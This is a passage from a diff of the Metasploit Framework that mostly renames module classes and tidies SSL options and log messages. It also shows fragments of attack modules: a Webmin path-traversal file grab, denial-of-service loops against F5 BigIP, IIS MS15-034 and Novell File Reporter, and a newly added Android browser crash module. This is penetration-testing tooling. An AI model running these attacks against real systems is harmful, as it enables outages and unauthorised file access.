include Msf::Auxiliary::Report @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary This module will log into the Web API of VMWare and try to power off a specified Virtual Machine.}, 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true } ) register_options( @@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('VM', [true, "The VM to try to Power Off"]) ], self.class) - - register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end def run diff --git a/modules/auxiliary/admin/vmware/poweron_vm.rb b/modules/auxiliary/admin/vmware/poweron_vm.rb index a8f260ad3e..3b20dbe4b2 100644 --- a/modules/auxiliary/admin/vmware/poweron_vm.rb +++ b/modules/auxiliary/admin/vmware/poweron_vm.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary a specified Virtual Machine. }, 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true } ) register_options( @@ -31,8 +32,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('VM', [true, "The VM to try to Power On"]) ], self.class) - - register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end def run diff --git a/modules/auxiliary/admin/vmware/tag_vm.rb b/modules/auxiliary/admin/vmware/tag_vm.rb index 8eb33b2f67..1c825f62f3 100644 --- a/modules/auxiliary/admin/vmware/tag_vm.rb +++ b/modules/auxiliary/admin/vmware/tag_vm.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -22,7 +22,8 @@ class Metasploit3 < Msf::Auxiliary logging a user event with user supplied text }, 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true } ) register_options( @@ -33,8 +34,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('VM', [true, "The VM to try to Power On"]), OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit']) ], self.class) - - register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end def run diff --git a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb index 0400471378..284198a04b 100644 --- a/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb +++ b/modules/auxiliary/admin/vmware/terminate_esx_sessions.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Auxiliary This module will log into the Web API of VMWare and try to terminate user login sessions as specified by the session keys.}, 'Author' => ['theLightCosine'], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SSL' => true } ) register_options( @@ -30,8 +31,6 @@ class Metasploit3 < Msf::Auxiliary OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptString.new('KEYS', [true, "The session key to terminate"]) ], self.class) - - register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end def run diff --git a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb index 09bd23daf3..08de7df684 100644 --- a/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb +++ b/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp def initialize(info = {}) diff --git a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb index 4b15e11364..d95582eace 100644 --- a/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb +++ b/modules/auxiliary/admin/vxworks/apple_airport_extreme_password.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC_Client diff --git a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb index e857b9eb34..5c737a13e8 100644 --- a/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb +++ b/modules/auxiliary/admin/vxworks/dlink_i2eye_autoanswer.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC_Client diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb index f179f7ef4c..db348c3865 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC_Client diff --git a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb index 106dbfba96..15157e9313 100644 --- a/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb +++ b/modules/auxiliary/admin/vxworks/wdbrpc_reboot.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::WDBRPC_Client include Msf::Auxiliary::Report diff --git a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb index 4381c2addd..352625b1b8 100644 --- a/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb +++ b/modules/auxiliary/admin/webmin/edit_html_fileaccess.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary peer = "#{rhost}:#{rport}" - print_status("#{peer} - Attempting to login...") + print_status("Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" @@ -71,17 +71,17 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 302 and res.get_cookies =~ /sid/ session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? - print_good "#{peer} - Authentication successful" + print_good "Authentication successful" else - print_error "#{peer} - Authentication failed" + print_error "Authentication failed" return end else - print_error "#{peer} - Authentication failed" + print_error "Authentication failed" return end - print_status("#{peer} - Attempting to retrieve #{datastore['RPATH']}...") + print_status("Attempting to retrieve #{datastore['RPATH']}...") traversal = "../" * datastore['DEPTH'] traversal << datastore['RPATH'] @@ -98,9 +98,9 @@ class Metasploit3 < Msf::Auxiliary loot = $1 f = ::File.basename(datastore['RPATH']) path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH']) - print_status("#{peer} - #{datastore['RPATH']} saved in #{path}") + print_status("#{datastore['RPATH']} saved in #{path}") else - print_error("#{peer} - Failed to retrieve the file") + print_error("Failed to retrieve the file") return end diff --git a/modules/auxiliary/admin/webmin/file_disclosure.rb b/modules/auxiliary/admin/webmin/file_disclosure.rb index dceb166244..e43c5849bf 100644 --- a/modules/auxiliary/admin/webmin/file_disclosure.rb +++ b/modules/auxiliary/admin/webmin/file_disclosure.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb index f02adcbf4d..dd858742f5 100644 --- a/modules/auxiliary/admin/zend/java_bridge.rb +++ b/modules/auxiliary/admin/zend/java_bridge.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 52969f35b0..7fd0a99c39 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index e1137d8945..56bd36b89e 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/analyze/jtr_linux.rb b/modules/auxiliary/analyze/jtr_linux.rb index 2b3483c60f..0a7b751087 100644 --- a/modules/auxiliary/analyze/jtr_linux.rb +++ b/modules/auxiliary/analyze/jtr_linux.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary formats = [ 'md5', 'des', 'bsdi'] if datastore['Crypt'] - format << 'crypt' + formats << 'crypt' end cracker = new_john_cracker diff --git a/modules/auxiliary/analyze/jtr_mssql_fast.rb b/modules/auxiliary/analyze/jtr_mssql_fast.rb index 45980b7cbe..dd3312009e 100644 --- a/modules/auxiliary/analyze/jtr_mssql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mssql_fast.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/analyze/jtr_mysql_fast.rb b/modules/auxiliary/analyze/jtr_mysql_fast.rb index 246a7c9cb1..17e54cc9c2 100644 --- a/modules/auxiliary/analyze/jtr_mysql_fast.rb +++ b/modules/auxiliary/analyze/jtr_mysql_fast.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/analyze/jtr_oracle_fast.rb b/modules/auxiliary/analyze/jtr_oracle_fast.rb index e41d6ff806..781574011f 100644 --- a/modules/auxiliary/analyze/jtr_oracle_fast.rb +++ b/modules/auxiliary/analyze/jtr_oracle_fast.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb index 5b0053951b..81f1549aaf 100644 --- a/modules/auxiliary/analyze/jtr_postgres_fast.rb +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/auxiliary/jtr' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary #Included to grab the john.pot and use some utiltiy functions include Msf::Auxiliary::JohnTheRipper diff --git a/modules/auxiliary/bnat/bnat_router.rb b/modules/auxiliary/bnat/bnat_router.rb index d63e805904..0225b81347 100644 --- a/modules/auxiliary/bnat/bnat_router.rb +++ b/modules/auxiliary/bnat/bnat_router.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary def initialize super( diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 4757cbae8e..e5c907720b 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Capture diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index 9e6831e2f3..a5f76cdeb4 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'yaml' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # # This module sends email messages via smtp diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index 7eb6ab4a4b..991f98e23d 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -17,7 +17,7 @@ require 'rinda/tuplespace' require 'pathname' require 'uri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 5c047d181f..81fc69dd76 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -18,7 +18,7 @@ require 'msf/core' # for creating files require 'rex/zip' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT diff --git a/modules/auxiliary/dos/android/android_stock_browser_iframe.rb b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb new file mode 100644 index 0000000000..9221626ed9 --- /dev/null +++ b/modules/auxiliary/dos/android/android_stock_browser_iframe.rb @@ -0,0 +1,62 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Android Stock Browser Iframe DOS", + 'Description' => %q( + This module exploits a vulnerability in the native browser that comes with Android 4.0.3. + If successful, the browser will crash after viewing the webpage. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jean Pascal Pereira', # Original exploit discovery + 'Jonathan Waggoner' # Metasploit module + ], + 'References' => [ + [ 'PACKETSTORM', '118539'], + [ 'CVE', '2012-6301' ] + ], + 'DisclosureDate' => "Dec 1 2012", + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer' + ) + ) + end + + def run + exploit # start http server + end + + def setup + @html = %| + + + + + + | + end + + def on_request_uri(cli, _request) + print_status('Sending response') + send_response(cli, @html) + end +end diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index ff25f23634..bfab3a37ac 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb index f9b0933648..786f2c16eb 100644 --- a/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb +++ b/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos include Msf::Exploit::Capture diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb index 4b29d365b7..841db2cee5 100644 --- a/modules/auxiliary/dos/dns/bind_tkey.rb +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::UDPScanner diff --git a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb index cef333391d..93b149e2fc 100644 --- a/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb +++ b/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/hp/data_protector_rds.rb b/modules/auxiliary/dos/hp/data_protector_rds.rb index 11029de675..a92ee46946 100644 --- a/modules/auxiliary/dos/hp/data_protector_rds.rb +++ b/modules/auxiliary/dos/hp/data_protector_rds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb index 99218cc07b..4978f58c29 100644 --- a/modules/auxiliary/dos/http/3com_superstack_switch.rb +++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb b/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb index ae5709b7d7..53b773fbb1 100644 --- a/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb +++ b/modules/auxiliary/dos/http/android_stock_browser_iframe_dos_cve_2012_6301.rb @@ -5,8 +5,11 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 4, 23), 'auxiliary/dos/android/android_stock_browser_iframe') def initialize(info = {}) super( diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index 28542774fb..ea62711de1 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos @@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary c.send_request(r) # Don't wait for a response rescue ::Rex::ConnectionError => exception - print_error("#{peer} - Unable to connect: '#{exception.message}'") + print_error("Unable to connect: '#{exception.message}'") return ensure disconnect(c) if c diff --git a/modules/auxiliary/dos/http/apache_mod_isapi.rb b/modules/auxiliary/dos/http/apache_mod_isapi.rb index da932d94c9..0309563629 100644 --- a/modules/auxiliary/dos/http/apache_mod_isapi.rb +++ b/modules/auxiliary/dos/http/apache_mod_isapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/apache_range_dos.rb b/modules/auxiliary/dos/http/apache_range_dos.rb index 4855af2930..92914f2613 100644 --- a/modules/auxiliary/dos/http/apache_range_dos.rb +++ b/modules/auxiliary/dos/http/apache_range_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanFile diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index 0974305d95..ad3d15abb9 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/canon_wireless_printer.rb b/modules/auxiliary/dos/http/canon_wireless_printer.rb index f13ad89ffe..ebb8d96f9f 100644 --- a/modules/auxiliary/dos/http/canon_wireless_printer.rb +++ b/modules/auxiliary/dos/http/canon_wireless_printer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/dell_openmanage_post.rb b/modules/auxiliary/dos/http/dell_openmanage_post.rb index 6f13cb2ca0..fb2e4c8ca7 100644 --- a/modules/auxiliary/dos/http/dell_openmanage_post.rb +++ b/modules/auxiliary/dos/http/dell_openmanage_post.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb index e935e91cc2..9eb5b5a507 100644 --- a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Auxiliary 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'TLS1', 'RPORT' => 443 } )) @@ -56,27 +55,27 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi('method' => 'GET', 'uri' => '/') unless res - print_error("#{peer} - No answer from the BigIP server") + print_error("No answer from the BigIP server") return end # Simple test based on HTTP Server header to detect BigIP virtual server server = res.headers['Server'] unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack - print_error("#{peer} - BigIP virtual server was not detected. Please check options") + print_error("BigIP virtual server was not detected. Please check options") return end - print_status("#{peer} - Starting DoS attack") + print_status("Starting DoS attack") # Start attack limit.times do |step| if step % 100 == 0 - print_status("#{peer} - #{step * 100 / limit}% accomplished...") + print_status("#{step * 100 / limit}% accomplished...") end res = send_request_cgi('method' => 'GET', 'uri' => '/') if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ - print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.") + print_good("DoS accomplished: The maximum number of concurrent user sessions has been reached.") return end end @@ -84,18 +83,18 @@ class Metasploit3 < Msf::Auxiliary # Check if attack has failed res = send_request_cgi('method' => 'GET', 'uri' => uri) if res.headers['Location'] =~ /\/my.policy/ - print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT") + print_error("DoS attack failed. Try to increase the RLIMIT") else - print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") + print_status("Result is undefined. Try to manually determine DoS attack result") end rescue ::Errno::ECONNRESET - print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") + print_error("The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") rescue ::Rex::ConnectionRefused - print_error("#{peer} - Unable to connect to BigIP") + print_error("Unable to connect to BigIP") rescue ::Rex::ConnectionTimeout - print_error("#{peer} - Unable to connect to BigIP. Please check options") + print_error("Unable to connect to BigIP. Please check options") rescue ::OpenSSL::SSL::SSLError - print_error("#{peer} - SSL/TLS connection error") + print_error("SSL/TLS connection error") end end diff --git a/modules/auxiliary/dos/http/gzip_bomb_dos.rb b/modules/auxiliary/dos/http/gzip_bomb_dos.rb index a96f05e1b4..ecd3a5dd0e 100644 --- a/modules/auxiliary/dos/http/gzip_bomb_dos.rb +++ b/modules/auxiliary/dos/http/gzip_bomb_dos.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'zlib' require 'stringio' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb index 59d7e7370a..bc61b28bfb 100644 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ b/modules/auxiliary/dos/http/hashcollision_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/monkey_headers.rb b/modules/auxiliary/dos/http/monkey_headers.rb index 2f6c097029..7915eec2f4 100644 --- a/modules/auxiliary/dos/http/monkey_headers.rb +++ b/modules/auxiliary/dos/http/monkey_headers.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index b69b8872f1..fa089a17be 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary # Watch out, dos all the things include Msf::Auxiliary::Scanner @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary if check_host(ip) == Exploit::CheckCode::Vulnerable dos_host(ip) else - print_status("#{peer} - Probably not vulnerable, will not dos it.") + print_status("Probably not vulnerable, will not dos it.") end end @@ -72,17 +72,17 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw('uri' => uri) unless res - vprint_error("#{peer} - Connection timed out") + vprint_error("Connection timed out") return file_size end if res.code == 404 - vprint_error("#{peer} - You got a 404. URI must be a valid resource.") + vprint_error("You got a 404. URI must be a valid resource.") return file_size end file_size = res.body.length - vprint_status("#{peer} - File length: #{file_size} bytes") + vprint_status("File length: #{file_size} bytes") return file_size }.call @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end - print_status("#{peer} - DOS request sent") + print_status("DOS request sent") end def potential_static_files_uris diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 9f3181a0aa..b07ff1741c 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb index efb942abe9..a0cfd4437b 100644 --- a/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb +++ b/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase message = md5 + record - print_status("#{peer} - Triggering a heap overflow to cause DoS...") + print_status("Triggering a heap overflow to cause DoS...") begin res = send_request_cgi( @@ -57,16 +57,16 @@ class Metasploit3 < Msf::Auxiliary 'data' => message }) rescue ::Errno::ECONNRESET - print_good("#{peer} - NFR Agent didn't answer, DoS seems successful") + print_good("NFR Agent didn't answer, DoS seems successful") return end if res - print_error("#{peer} - NFR Agent didn't die, it still answers...") + print_error("NFR Agent didn't die, it still answers...") return end - print_good("#{peer} - NFR Agent didn't answer, DoS seems successful") + print_good("NFR Agent didn't answer, DoS seems successful") end end diff --git 